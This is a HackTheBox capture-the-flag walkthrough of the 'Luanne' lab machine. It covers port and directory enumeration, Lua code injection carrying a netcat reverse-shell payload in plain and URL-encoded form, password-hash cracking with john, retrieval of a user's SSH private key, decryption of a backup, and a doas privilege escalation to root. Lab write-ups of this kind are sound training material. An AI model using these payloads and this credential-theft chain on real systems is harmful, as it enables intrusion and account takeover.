HackTheBox - Luanne walkthrough
Info
Luanne is the Easy level OpenBSD machine.
Machine created by : polarbearer
Port Scan
$ nmap -sC -sV -p- 10.10.10.218
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-27 19:18 GMT
Nmap scan report for 10.10.10.218
Host is up (0.039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
| ssh-hostkey:
| 3072 20:97:7f:6c:4a:6e:5d:20:cf:fd:a3:aa:a9:0d:37:db (RSA)
| 521 35:c3:29:e1:87:70:6d:73:74:b2:a9:a2:04:a9:66:69 (ECDSA)
|_ 256 b3:bd:31:6d:cc:22:6b:18:ed:27:66:b4:a7:2a:e4:a5 (ED25519)
80/tcp open http nginx 1.19.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=.
| http-robots.txt: 1 disallowed entry
|_/weather
|_http-server-header: nginx/1.19.0
|_http-title: 401 Unauthorized
9001/tcp open http Medusa httpd 1.12 (Supervisor process manager)
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=default
|_http-server-header: Medusa/1.12
|_http-title: Error response
Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 200.98 seconds
After the nmap scan there is three ports are open in the Luanne Machine
22 - SSH OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0)
80 - HTTP nginx 1.19.0
9001 - HTTP Medusa httpd 1.12 (Supervisor process manager)
Enumuration
In port 80 When I try to access the web page. It asks for a username and password.
If I hit enter it shows the error with 401 Unauthorized.
and it reveals it running in the port 3000
127.0.0.1:3000
after reading the robots.txt I decide to open the directory
curl http://10.10.10.218/robots.txt
User-agent: *
Disallow: /weather #returning 404 but still harvesting cities
But /weather is not found so I run the gobuster.
$ gobuster dir -u http://10.10.10.218/weather/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.218/weather/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/03/27 19:57:40 Starting gobuster in directory enumeration mode
===============================================================
/forecast (Status: 200) [Size: 90]
After the gobuster it found the directory /weather/forecast so let’s have a look at it.
if we want to list the cities we have pass the parameter “city=list”
it shows the list of cities.
then check the city London /weather/forecast?city=london
If you the pass ‘ in the city parameter /weather/forecast?city=’ It shows the lua error.
Lua Remote Code Execution
After that os.execute() is used for Execute the command in lua script so I used that function.
Payload :
‘);os.execute(‘rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1234 >/tmp/f’)–
we break the code script flow and inject our lua code and “–” used in lua language for comment
make sure to encode the payload
Encoded payload :
%27%29%3Bos.execute%28%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201234%20%3E%2Ftmp%2Ff%27%29–
Create listener then run the curl command
Getting httpd shell
$ nc -1vvnkp 1234
nc -lvvnkp 1234
listening on [any] 1234 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.218] 65471
sh: can't access tty; job control turned off
$ id
uid=24(_httpd) gid=24(_httpd) groups=24(_httpd)
$
After some enumeration, I found the .htaccess file which contains webapi_user password
copy the hash and the saves it to the file.
then crack the hash with john
$ john hash –wordlist=/opt/rockyou.txt
john hash --wordlist=/opt/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iamthebest (webapi_user)
1g 0:00:00:00 DONE (2021-03-27 21:02) 5.555g/s 16533p/s 16533c/s 16533C/s secrets..lance
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now i have webapi_user : iamthebest
then try to login with ssh but failed!
Next webserver
Nothing interesting
Getting r.Michaels Shell
After some enumeration, I found the 127.0.0.1:3001 also have the same page but why
I want to check that so i run the curl command with payload
But it failed
curl 'http://127.0.0.1:3001/weather/forecast?city=%27%29%3Bos.execute%28%27rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.6%201234%20%3E%2Ftmp%2Ff%27%29--'
{"code": 500,"error": "unknown city: ');os.execute('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 1234 >/tmp/f')--"}
I does not execute it return unknown city, so I confirmed that the 3001 port server has been patched.
After reading the NetBSD httpd documentation.
I get the idea
$ curl http://127.0.0.1:3001/\~r.michaels/ -s –user “webapi_user:iamthebest”
<!DOCTYPE html>
<html><head><meta charset="utf-8"/>
<style type="text/css">
table {
border-top: 1px solid black;
border-bottom: 1px solid black;
}
th { background: aquamarine; }
tr:nth-child(even) { background: lavender; }
</style>
<title>Index of ~r.michaels/</title></head>
<body><h1>Index of ~r.michaels/</h1>
<table cols=3>
<thead>
<tr><th>Name<th>Last modified<th align=right>Size
<tbody>
<tr><td><a href="../">Parent Directory</a><td>16-Sep-2020 18:20<td align=right>1kB
<tr><td><a href="id_rsa">id_rsa</a><td>16-Sep-2020 16:52<td align=right>3kB
</table>
</body></html>
It shows there is one file with the name id_rsa
r.michaels ssh key redirect to the file key in /tmp
$ curl http://127.0.0.1:3001/\~r.michaels/id_rsa -s –user “webapi_user:iamthebest” > /tmp/key
$ cat key | base64
Then copy the base64 encoded
$ echo ‘paste here ‘ | base64 -d > user.key
$ chmod 600 user.key
$ ssh -i user.key r.michaels@10.10.10.218
ssh -i key r.michaels@10.10.10.218
The authenticity of host '10.10.10.218 (10.10.10.218)' can't be established.
ECDSA key fingerprint is SHA256:KB1gw0t+80YeM3PEDp7AjlTqJUN+gdyWKXoCrXn7AZo.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.218' (ECDSA) to the list of known hosts.
Last login: Fri Sep 18 07:06:51 2020
NetBSD 9.0 (GENERIC) #0: Fri Feb 14 00:06:28 UTC 2020
Welcome to NetBSD!
luanne$ id
uid=1000(r.michaels) gid=100(users) groups=100(users)
User flag!
Privilege Escalation
In /home/r.michaels/backups directory found the encrypted tar file devel_backup-2020-09-16.tar.gz.enc
luanne$ ll
total 4
-r-------- 1 r.michaels users 1970 Nov 24 09:25 devel_backup-2020-09-16.tar.gz.enc
In /home/r.michaels/.gnupg i found two files
luanne$ ls
pubring.gpg secring.gpg
luanne$ ll
total 8
-rw------- 1 r.michaels users 603 Sep 14 2020 pubring.gpg
-rw------- 1 r.michaels users 1291 Sep 14 2020 secring.gpg
So, I googled that “NetBSD gnupg”
So that two files are used by the gnupg for encrypt and decrypt. because the netpgp is encrypt the files using the public and private keys. we have the two one is public and another one is the private key.
So let decrypt the file using the NetBSD netpgp
$ cd /home/r.michaels/backups/
$ netpgp –decrypt –output=/tmp/devel_backup-2020-09-16.tar.gz devel_backup-2020-09-16.tar.gz.enc
Change the directory to /tmp
$cd /tmp
Unzip the tar file
$ tar -xzf devel_backup-2020-09-16.tar.gz
Searching for files so I used the find command to fetch the files.
$ find . -type f
luanne$ find . -type f
./www/index.html
./www/.htpasswd
./webapi/weather.lua
we found another .htaccess file so crack
$ cat ./www/.htpasswd
copy the hash and crack with john
$ john hash_file –wordlist=/opt/rockyou.txt
john hash_file --wordlist=/opt/rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
littlebear (webapi_user)
1g 0:00:00:00 DONE (2021-03-27 22:31) 4.545g/s 58909p/s 58909c/s 58909C/s tormenta..balanta
Use the "--show" option to display all of the cracked passwords reliably
Session completed
we crack the new password : littlebear
After some enumuration i found the config file /usr/pkg/etc/doas.conf
cat /usr/pkg/etc/doas.conf
permit r.michaels as root
doas - execute commands as another user. The doas utility executes the given command as another user and it is an alternative for the sudo.
$ doas -u root /bin/ksh
password : littlebear
luanne$ doas -u root /bin/ksh
Password:
# id
uid=0(root) gid=0(wheel) groups=0(wheel),2(kmem),3(sys),4(tty),5(operator),20(staff),31(guest),34(nvmm)